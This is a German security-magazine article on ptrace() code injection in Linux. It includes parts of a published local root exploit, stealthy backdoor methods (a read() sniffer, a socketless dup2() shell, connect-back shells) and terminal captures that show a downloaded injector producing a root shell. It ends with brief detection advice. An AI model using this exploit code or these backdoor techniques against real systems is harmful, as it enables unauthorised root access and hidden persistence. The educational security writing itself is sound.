    for (i = 0; i < len; i += 4)
        if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
            fatal("[~] Unable to write shellcode");
}
void sigchld(int signo) {
    struct user_regs_struct regs;
    if (gotchild++ == 0)
        return;
    fprintf(stderr, "[+] Signal caught\n");
    if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
        fatal("[~] Unable to read registers");
    fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
    putcode((unsigned long *)regs.eip);
    fprintf(stderr, "[+] Now wait for suid shell...\n");
    if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
        fatal("[~] Unable to detach from victim");
    exit(0);
}
```

außerdem möglich, versteckte Backdoors zu implementieren, da Administratoren normalerweise Ihren Servern trauen. Wenn Sie nun also named infizieren, haben Sie gute Chancen, dass das Backdoor nicht entdeckt wird, ausser Sie öffnen einen neuen Port. Wir führen daher einfach eine Shell aus ohne einen Port zu öffnen, um nicht aufzufallen. Mehr hierzu später in diesem Artikel.

Verschiedene Backdoors

Nun haben Sie einige Backdoor-Möglichkeiten gesehen, jedoch nicht wirklich verstanden? Dann gehen wir jetzt etwas mehr ins Detail. Ich stelle Ihnen ein paar Screenshots eines Parasiten in Aktion zur Verfügung und erkläre Ihnen, was dort vor sich geht, um Ihnen ein besseres Verständnis zu geben.

Den init Prozess infizieren

Normalerweise ist es nicht möglich, den init Prozess zu tracen, doch mit einem kleinen Trick können wir dies umgehen und somit den init Prozess infizieren. Werfen wir einen Blick in den Quellcode von `ptrace()` selbst in `arch/i386/kernel/ptrace.c`:

```
ret = -EPERM;
if (pid == 1) /* you may not mess
with init */
goto out_tsk;
if (request ==
PTRACE_ATTACH) {
ret = ptrace_attach(child);
goto out_tsk;
}
```

Christophe Devine schrieb ein kleines Programm, dass unter der GNU Lizenz veröffentlicht wurde, welches es uns ermöglicht, den Kernel in Runtime zu patchen. Somit haben wir die Möglichkeit, init zu tracen. Ich füge den Code diesem Artikel in Listings 8a und 8b bei. Nachdem wir `/dev/kmem` verändert haben, können wir den init-Prozess infizieren. Der einzige Nachteil hierbei ist, dass init nun nicht mehr am Anfang der Prozessliste aufgeführt wird, sondern

am Ende. Dies könnte verraten, dass das System infiziert wurde.

read() Sniffer

Genug mit der Theorie, lassen Sie uns einen `read()`-sniffer erstellen. Wir injizieren einen Parasiten in das .Text-Segment und überschreiben die GOT Adresse der `read()`-Funktion, damit Sie auf unseren Parasiten zeigt.

Unsere Backdoor `read()`-Funktion wird sich genau so verhalten,

wie die originale Funktion und ausserdem noch alle Daten in eine log-Datei schreiben. Code sagt mehr als 1000 Worte, also lassen Sie uns beginnen. Als erstes werfen wir einen Blick auf unseren Code in Listing 6.

Eine wichtige Anmerkung um langes Debugging zu vermeiden: merken Sie sich, dass es Unterschiede in inline `asm()` bei gcc gibt. Während das Beispiel aus Listing 6. bei manchen Versionen ohne Probleme funktioniert, könnte es bei neueren

Versionen zu Problemen kommen. Um dieses Problem zu beheben, machen Sie es einfach wie in dem ersten Injektions-Beispiel z.B.:

```
asm("movl $1, %eax\n"
    "movl $123, %ebx\n"
    "int $0x80\n");
```

Gut, unser sog. Payload Code ist fertig! Hierbei handelt es sich um den Kern des Backdoors. Nun befassen wir uns mit den benötigten Funktionen. (Listing 7). Kommentare finden Sie über jeder Funktion:

Listing 9b. Linux Kernel ptrace/kmod lokale Schwachstelle

```
void sigalrm(int signo)
{
    errno = ECANCELED;
    fatal("[~] Fatal error");
}

void do_child(void)
{
    int err;
    child = getpid();
    victim = child + 1;
    signal(SIGCHLD, sigchld);
    do
    {
        err = ptrace(PTRACE_ATTACH, victim, 0, 0);
        while (err == -1 && errno == ESRCH);
        if (err == -1)
            fatal("[~] Unable to attach");
        fprintf(stderr, "[+] Attached to %d\n", victim);
        while (!gotchild);
        if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
            fatal("[~] Unable to setup syscall trace");
        fprintf(stderr, "[+] Waiting for signal\n");
        for(;;);
    }
}

void do_parent(char * progname)
{
    struct stat st;
    int err;
    errno = 0;
    socket(AF_SECURITY, SOCK_STREAM, 1);
    do {
        err = stat(progname, &st);
    } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
    if (err == -1)
        fatal("[~] Unable to stat myself");
    alarm(0);
    system(progname);
}

void prepare(void)
{
    if (geteuid() == 0) {
        initgroups("root", 0);
        setgid(0);
        setuid(0);
        execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
        fatal("[~] Unable to spawn shell");
    }
}

int main(int argc, char ** argv)
```

dup2() Backdoor

Dieses Backdoor ist gut versteckt, da es nicht mit Programmen wie `netstat` angezeigt wird. Offensichtlich benutzt es keine Sockets, deshalb benötigen wir eine eigene Shell Implementierung.

Wenn Sie Ihre Shell erstellen, denken Sie noch einmal darüber nach, wie eine Bindshell funktioniert. Sie dupliziert die Descriptoren (mit `dup2()`) `stdout/in/err` damit die Shell auf unserer Seite und nicht auf der Serverseite ausgeführt wird. Unser Code benutzt keine Sockets, deshalb ist er auch ziemlich gut versteckt vor den Augen eines Standard-Admins.

Der injizierte Code kann auf alle Daten eines Prozesses zugreifen, inklusive der Descriptoren. Wenn wir einen entfernten Server Prozess aufrufen, führt er zuerst `fork()` und dann `accept()` aus. Somit erstellt der Prozess neue Descriptoren für uns, deren Nummern wir benötigen. Wir haben einige Möglichkeiten, diese zu erhalten:

- Wir könnten `accept()` mit einer eigenen Version überschreiben, welche alle Werte in einer Datei speichern würde;
- Wir könnten das Proc-Filesystem benutzen, um den Status der benutzen Descriptoren in `/proc/_pid_/fd` zu sehen. Versuchen Sie einfach den letzten Descriptor. Diese Methode ist allerdings nicht sehr gut. Erstens würden Sie viel Code zur Realisierung benötigen

**Listing 9c. Linux Kernel ptrace/
kmod lokale Schwachstelle**

```

{
    prepare();
    signal(SIGALRM, sigalarm);
    alarm(10);
    parent = getpid();
    child = fork();
    victim = child + 1;
    if (child == -1)
        fatal("[~] Unable to fork");
    if (child == 0)
        do_child();
    else
        do_parent(argv[0]);
    return 0;
}

```

und zweitens, ist procs nicht auf allen Systemen verfügbar;

- Die dup2() Methode. Es wird kein extra Code benötigt, aber ist auch leider nicht sehr portabel. Der Prozess hat eine statische Anzahl von Descriptoren, die wir

mit strace verfolgen können. Ein kleines Beispiel mit Netcat: `$nc -lp 1111` Geben Sie die PID mit `strace -p` an und führen `telnet localhost 1111` aus, um den Wert von `accept()` zu erhalten. (Normalerweise 3 oder 4).

Nachdem Sie den Descriptor erhalten haben, duplizieren Sie ihn einfach an `stdout/in/err`. Nun ist Ihr Backdoor fertig! Dieses Backdoor kann nützlich auf Systemen mit harten Firewall-Regeln sein, wenn nur einige wenige Services erlaubt werden und der restliche Traffic gefiltert wird.

Connect back

Normalerweise möchten Sie eine Bindshell, aber was wenn die Firewall diese Aktion nun blockiert? In diesem Fall benötigen wir einen Connect Back Code, der zu uns zurück

verbindet. In den meisten Fällen sind alle ausgehenden Services erlaubt, doch manchmal sind nur einige wenige Ports nach Aussen offen. In dieser Situation müssen Sie privilegierte Ports versuchen, wie zum Beispiel DNS (Port 53), WWW (Port 80) oder FTP (Port 21).

Nun müssen wir nur einen simplen Connect Back Payload erstellen, was mit unserem gelernten Wissen kein Problem mehr darstellen dürfte. Für den Anfang würde ich Ihnen vorschlagen, dass Sie eine feste IP benutzen und diese dann einfach mit einem `#define` festlegen - `#define CB_IP 127.0.0.1` Danach müssen Sie nur noch ein `connect()` und `/bin/sh -i` ausführen.

Real life example

Nach all der Theorie möchten Sie einen Infektor in Aktion sehen, nicht wahr? Also lassen Sie uns beginnen! In Abbildung 1 sehen Sie den Download eines `ptrace()`-Injektors. Dieses Programm nennt sich Malaria und wurde im Internet gefunden.

Wir werden einen Netcat-Prozess im Hintergrund starten, welcher als unser Angriffsziel dient. (siehe Abbildung 2.)

Nachdem unser Shellcode nun in den Speicher geladen wurde, sehen wir auf dem letzten

Screenshot (Abbildung 3.), dass ein neuer TCP-Port geöffnet wurde, der auf Verbindungen wartet. Wenn wir uns nun als Client dort verbinden, erhalten wir eine root-Shell und somit Superuser Rechte!

Dies war ein Beispiel mit einem einfachen Injektor, den ich im Internet gefunden habe. Wenn Sie mehr Code ausprobieren möchten, schlage ich Ihnen vor, bei Google zu stöbern.

**Schutz
vor ptrace() Attacken**

Befor wir uns damit befassen, wie wir uns vor solchen Angriffen schützen können, müssen wir erst einmal überlegen, wie wir solche Infektionen überhaupt feststellen können. Der beste Weg um eine `ptrace()` Infektion festzustellen, ist

```

g0rg - PuTTY
server:/var/tmp/ES-M # ps aux |grep nc
root    27886  0.0  0.2  1504   536 pts/0    S    06:35   0:00 nc -v -l -p 23000
root    27888  0.0  0.2  1820   620 pts/1    S+   06:36   0:00 grep nc
server:/var/tmp/ES-M # ./ES-Malaria 27886

[ElectronicSouls]
malaria version: 12.02-00.01.a

calculating inject code size..
- code size: 169
initializing infection
attaching to process: 27886 !
..... register info:
-----
eax is at: 0xffffffff00  ebx is at: 0x00000005
ecx is at: 0xbffff370   eip is at: 0xffff410
-----

new esp: 0xbffff358 (-4)
- injecting code into 0xbffff358
....reg eip is at: 0xbffff35a
copy general purpose registers
detaching from 27886

[infected!]
server:/var/tmp/ES-M #

```

Figure 2. Infizieren eines Prozesses

```

g0rg - PuTTY
server:/ # cd /var/tmp
server:/var/tmp # wget http://packetstormsecurity.org/UNIX/penetration/rootkits/ES-Malaria.tar.gz
--2016-06-28 16:-- http://packetstormsecurity.org/UNIX/penetration/rootkits/ES-Malaria.tar.gz
      => ES-Malaria.tar.gz
Resolving packetstormsecurity.org... 213.150.45.194
Connecting to packetstormsecurity.org[213.150.45.194]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3,222 (3.1K) [application/x-tar]

100k[=====] 3,222
06:20:18 (13.17 KB/s) - 'ES-Malaria.tar.gz' saved [3222/3222]

server:/var/tmp # tar -xvzf ES-Malaria.tar.gz
ES-M/
ES-M/ES-Malaria.o
ES-M/Malwarefile
ES-M/malaria.h
ES-M/ES-Malaria.o
ES-M/w00t.o
server:/var/tmp # cd ES-M/
server:/var/tmp/ES-M # make
gcc ES-Malaria.o -o ES-Malaria w00t.o
server:/var/tmp/ES-M # ./ES-Malaria
[ElectronicSouls] Malaria ptrace injector.
usage: ./ES-Malaria <pid>
server:/var/tmp/ES-M #

```

Figure 1. Download und Kompilation eines Injektors

den Global Offset Table zu überprüfen. Sie könnten auch ein LKM schreiben, welches die `ptrace()`-Funktion auf den root-User limitiert, denn wenn ein Angreifer einmal root Rechte erlangt hat, müssen Sie sich keine Gedanken machen, welches Backdoor er benutzt, sondern wie er überhaupt Zugriff auf Ihren Rechner erhalten hat! Danach folgt normalerweise immer eine Neuinstallation. Ein LKM wie ich es bereits erwähnt habe, finden Sie im Internet.

Appendix

Listing 8a und 8b: 2.4.x kernel patcher that allows ptracing the init process (Copyright (c) 2003 Christophe Devine devine@iie.cnam.fr). This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the Li-

cense, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.

Listings 9a bis c: Linux kernel `ptrace/kmod` local root exploit. This code exploits a race condition in `kernel/kmod.c`, which creates kernel thread in insecure manner. This bug allows to `ptrace` cloned process, allowing to take control over privileged `modprobe` binary. Should work under all current 2.2.x and 2.4.x kernels. I discovered this stupid bug independently on January 25, 2003,

that is (almost) two month before it was fixed and published by Red Hat and others. Wojciech Purczynski cliph@isec.pl THIS PROGRAM IS FOR EDUCATIONAL PURPOSES ONLY IT IS PROVIDED AS IS AND WITHOUT ANY WARRANTY ((c) 2003 Copyright by iSEC Security Research)

Wir haben gerade einen guten Weg gelernt, um laufende Programme zu manipulieren. Dies gibt uns unzählige Möglichkeiten den Programmablauf zu ändern, um totale Kontrolle über die Software zu erhalten.

Sagen wir, Sie haben einen Daemon, dessen Source Code nicht öffentlich und die Protokollierung Ihnen zu ungenau ist. Normalerweise müssten Sie damit leben, oder den Hersteller bitten, die Software zu ändern. Nun können Sie dies einfach selbst erledigen. Sie schreiben ein kleines `ptrace()`-Injektions-Tool, dass die Protokollierungsfunktion ersetzt, oder Sie loggen einfach alles indem sie `read()` bzw. `write()` ändern.

Oftmals wird dieses Wissen auch von Sicherheitsspezialisten (sog. *Penetration Tester*) verwendet, um mit Hilfe von `ptrace()`-Injektions Shellcodes ein `chroot()` zu umgehen, oder von Hackern um Backdoors in Binärdateien zu injizieren. Dieses neu erworbene Wissen gibt Ihnen mehr Flexibilität in Ihren Administrationstätigkeiten, wenn Sie mit Closed Source Software arbeiten. Eigentlich wurde die `ptrace` Funktion für debugging Zwecke entwickelt. Bekannte Programme wie `strace` oder `ltrace` benutzen diese Funktion, um den Programmablauf zu verfolgen. Somit ist es möglich, Probleme schnell zu entdecken. Kurz gesagt, ermöglicht die `ptrace()` Systemcall einem Prozess, einen anderen Prozess zu kontrollieren. Der kontrollierte Prozess wird normal ausgeführt, bis er ein Signal empfängt. Leider ist `ptrace` sehr architekturbezogen, d.h. Programme, die `ptrace` benutzen, sind oft nicht einfach auf andere Architekturen übertragbar. ●

```

g-0.org - PuTTY
server:/var/tmp/ES-M # netstat -a|grep 17664
tcp        0      0  *:17664                *:.*                LISTEN
server:/var/tmp/ES-M # telnet localhost 17664
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^['.
id:
uid=0(root) gid=0(root) groups=0(root)
: command not found
sh -i:
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=0(root)
sh-3.00#

```

Figure 3. Testen des Backdoors

Im Internet

- http://publib16.boulder.ibm.com/pseries/en_US/lib/basetrf1/ptrace.htm - technical Reference: Base Operating System and Extensions, Volume 1;
- <http://www.phrack.com/phrack/59/p59-0x0c.txt> - building ptrace injecting shellcodes;
- <http://www.die.net/doc/linux/man/man2/ptrace.2.html> - man 2 ptrace.

Über den Autor

Der Autor beschäftigt sich seit über 10 Jahren mit IT Sicherheit und hat als Security-Administrator und Software-Entwickler gearbeitet. Seit 2004 ist er Geschäftsführer der Firma GroundZero Security Research in Deutschland. Er schreibt immernoch sog. Proof of Concept Exploit Code, beteiligt sich aktiv an Sicherheitsforschungen und führt Penetration Tests für Kunden aus.